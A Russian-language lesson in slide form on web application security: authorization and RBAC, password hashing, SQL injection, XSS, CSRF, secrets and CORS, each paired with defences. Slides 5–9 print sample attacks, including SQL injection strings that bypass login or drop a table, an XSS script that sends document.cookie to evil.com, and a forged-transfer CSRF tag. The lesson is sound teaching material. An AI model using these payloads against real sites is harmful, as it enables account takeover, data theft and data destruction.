Занятие 11: Безопасность веб-приложения

Аутентификация, авторизация, SQL injection, XSS, CSRF

Слайд 1: Аутентификация vs Авторизация

Аутентификация (Authentication)

- Кто вы?
- Проверка личности
- Логин/пароль, OAuth, SAML

Авторизация (Authorization)

- Что вы можете делать?
- Проверка прав доступа
- Роли, разрешения, политики

Пример:

```
Аутентификация: "Я John Doe"
Авторизация: "John Doe может редактировать свои посты"
```

Слайд 2: Роли и разрешения

RBAC (Role-Based Access Control)

Роли:

- Admin - полный доступ
- Editor - редактирование контента
- User - базовый доступ
- Guest - только чтение

Разрешения:

- `users.read` - чтение пользователей
- `users.write` - создание пользователей
- `users.delete` - удаление пользователей

Пример:

```
# Admin имеет все разрешения
admin.permissions = ['users.read', 'users.write', 'users.delete']

# User имеет только чтение
user.permissions = ['users.read']
```

Слайд 3: Владелец ресурса

Проблема:

```
User A: GET /users/123 → видит свои данные
User B: GET /users/123 → видит данные User A!
```

Решение - проверка владения:

```python
def get_user_profile(user_id, current_user):
    profile = get_user(user_id)

    # Проверка: пользователь видит только свой профиль
    if profile.id != current_user.id and not current_user.is_admin:
        raise PermissionError("Access denied")

    return profile
```

Важно:

- Никогда не доверяйте данным от клиента
- Проверяйте владение на сервере
- Используйте ID из сессии/токена, не из запроса

Слайд 4: Хранение паролей

НЕ храните пароли в открытом виде!

Плохо:

```
# В БД
password: "password123"  # НЕ ДЕЛАЙТЕ ТАК!
```

Хеширование:

```
import bcrypt

# Хеширование
password = "password123"
hashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt())
# $2b$12$...

# Проверка
if bcrypt.checkpw(password.encode(), hashed):
    print("Password correct")
```

Почему bcrypt:

- Соль (salt) - защита от rainbow tables
- Медленный - защита от brute force
- Адаптивный - можно увеличить сложность

Слайд 5: SQL Injection

Что это?

Внедрение SQL кода через пользовательский ввод.

Пример уязвимости:

```
email = input("Email: ")
query = f"SELECT * FROM users WHERE email = '{email}'"
cursor.execute(query)
```

Атака:

```
Email: ' OR '1'='1
Query: SELECT * FROM users WHERE email = '' OR '1'='1'
Результат: Все пользователи!
```

Защита - параметризованные запросы:

```
email = input("Email: ")
cursor.execute("SELECT * FROM users WHERE email = %s", (email,))
```

Слайд 6: Примеры SQL Injection

1. Обход авторизации:

```
username = "' OR '1'='1' --"
password = "anything"
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
# SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = 'anything'
```

2. Удаление данных:

```
user_id = "1; DROP TABLE users; --"
query = f"DELETE FROM users WHERE id = {user_id}"
# DELETE FROM users WHERE id = 1; DROP TABLE users; --
```

Защита:

- Всегда параметризованные запросы
- Валидация ввода
- Минимальные привилегии БД

Слайд 7: XSS - Cross-Site Scripting

Что это?

Внедрение JavaScript кода в страницу.

Пример уязвимости:

```
comment = "<script>alert('XSS')</script>"
html = f"<div>{comment}</div>"
```

Атака:

```
<script>
  // Кража cookie
  fetch('https://evil.com?cookie=' + document.cookie);

  // Перенаправление
  window.location = 'https://evil.com';
</script>
```

Типы XSS:

- **Stored** - сохранённый в БД (комментарии, посты)
- **Reflected** - отражённый в ответе (поиск)
- **DOM-based** - на клиенте

Слайд 8: Защита от XSS

1. Экранирование вывода:

```
from html import escape

comment = "<script>alert('XSS')</script>"
safe_comment = escape(comment)
# &lt;script&gt;alert('XSS')&lt;/script&gt;
```

2. Content Security Policy (CSP):

```
Content-Security-Policy: default-src 'self'; script-src 'self'
```

3. HttpOnly cookie:

```
resp.set_cookie('session_id', 'abc123', httponly=True)
```

4. Валидация ввода:

```
import re

if not re.match(r'^[a-zA-Z0-9 ]+$', comment):
    raise ValueError("Invalid characters")
```

Слайд 9: CSRF - Cross-Site Request Forgery

Что это?

Злоумышленник заставляет пользователя выполнить действие.

Пример:

```
<!-- На сайте evil.com -->
<img src="https://bank.com/transfer?to=attacker&amount=1000">
```

Если пользователь авторизован на bank.com, браузер отправит cookie.

Защита:

1. **CSRF token** в форме
2. **SameSite cookie**
3. **Проверка Origin/Referer**

Слайд 10: CSRF Token реализация

Генерация токена:

```python
import secrets

def generate_csrf_token():
    return secrets.token_hex(16)
```

Проверка токена:

```python
def validate_csrf_token(token, session_token):
    return secrets.compare_digest(token, session_token)
```

SameSite cookie:

```python
resp.set_cookie('session_id', 'abc123', samesite='Strict')
```

Значения SameSite:

- `Strict` - не отправляется с других сайтов
- `Lax` - отправляется при безопасных GET запросах
- `None` - отправляется всегда (только с Secure)

Слайд 11: Секреты и чувствительные данные

Что нельзя хранить:

- Пароли в открытом виде
- API ключи в коде
- Секреты в логах
- Секреты в ответах API

Правильно:

```
# В коде - НЕПРАВИЛЬНО
API_KEY = "secret-key-123"

# В переменных окружения - ПРАВИЛЬНО
import os
API_KEY = os.getenv('API_KEY')
```

.env файл:

```
API_KEY=secret-key-123
DB_PASSWORD=password
SECRET_KEY=another-secret
```

.gitignore:

```
.env
.env.local
*.key
```

Слайд 12: Чувствительные данные в ответах

НЕ возвращайте чувствительные данные:

```
# Плохо
{
  "id": 123,
  "name": "John",
  "email": "john@example.com",
  "password": "hashed_password",  # НЕ ДЕЛАЙТЕ!
  "ssn": "123-45-6789",  # НЕ ДЕЛАЙТЕ!
  "credit_card": "4111-1111-1111-1111"  # НЕ ДЕЛАЙТЕ!
}

# Хорошо
{
  "id": 123,
  "name": "John",
  "email": "john@example.com"
}
```

Логирование:

```
# Плохо
logger.info(f"User logged in: {user.email}, password: {user.password}")

# Хорошо
logger.info(f"User logged in: {user.id}")
```

слайд 13: CORS - Cross-Origin Resource Sharing

Что это?

Механизм безопасности для запросов между доменами.

Пример:

```
Site A: https://example.com
Site B: https://api.example.com

Запрос с A на B → CORS проверка
```

Настройка CORS:

```python
from flask_cors import CORS

app = Flask(__name__)
CORS(app, resources={
    r"/api/*": {
        "origins": ["https://example.com"],
        "methods": ["GET", "POST"],
        "allow_headers": ["Content-Type"]
    }
})
```

Слайд 14: CORS не заменяет авторизацию

Важно:

- CORS ≠ авторизация
- CORS не защищает от CSRF
- CORS не защищает от XSS

Пример:

```
# CORS разрешает запросы с example.com
CORS(app, origins=["https://example.com"])

# Но всё равно нужна авторизация!
@app.route('/api/users')
@require_auth
def get_users():
    if not current_user.is_admin:
        return {"error": "Forbidden"}, 403
    return get_all_users()
```

Правильно:

- CORS для контроля источников
- Авторизация для контроля доступа
- Оба механизма нужны

Слайд 15: Проверка прав доступа

Декоратор для проверки прав:

```
from functools import wraps

def require_permission(permission):
    def decorator(f):
        @wraps(f)
        def wrapper(*args, **kwargs):
            user = get_current_user()

            if permission not in user.permissions:
                return {"error": "Forbidden"}, 403

            return f(*args, **kwargs)
        return wrapper
    return decorator

@app.route('/admin/users')
@require_permission('users.read')
def list_users():
    return get_all_users()
```

Слайд 16: Практическое задание

Задание 1: Хеширование паролей

- Реализуйте хеширование с bcrypt
- Реализуйте проверку пароля
- Сравните с хешированием в открытом виде

Задание 2: SQL Injection

- Создайте уязвимый запрос
- Продемонстрируйте атаку
- Защитите с параметризованными запросами

Задание 3: XSS

- Создайте уязвимую страницу
- Продемонстрируйте атаку
- Защитите с экранированием

Задание 4: CSRF

- Реализуйте CSRF token
- Настройте SameSite cookie
- Проверьте защиту

Задание 5: Авторизация

Слайд 17: Вопрос для собеседования

Вопрос: Объясните, почему вошедший пользователь не должен получать доступ к любому объекту.

Ожидаемый ответ:

1. Аутентификация не равна авторизации
2. Пользователь может быть авторизован, но не иметь прав
3. Нужно проверять владение ресурсом (resource ownership)
4. Проверять ID из сессии/токена, не из запроса
5. Использовать RBAC (роли и разрешения)
6. Проверять права на каждом защищённом endpoint
7. Пример: User A не должен видеть данные User B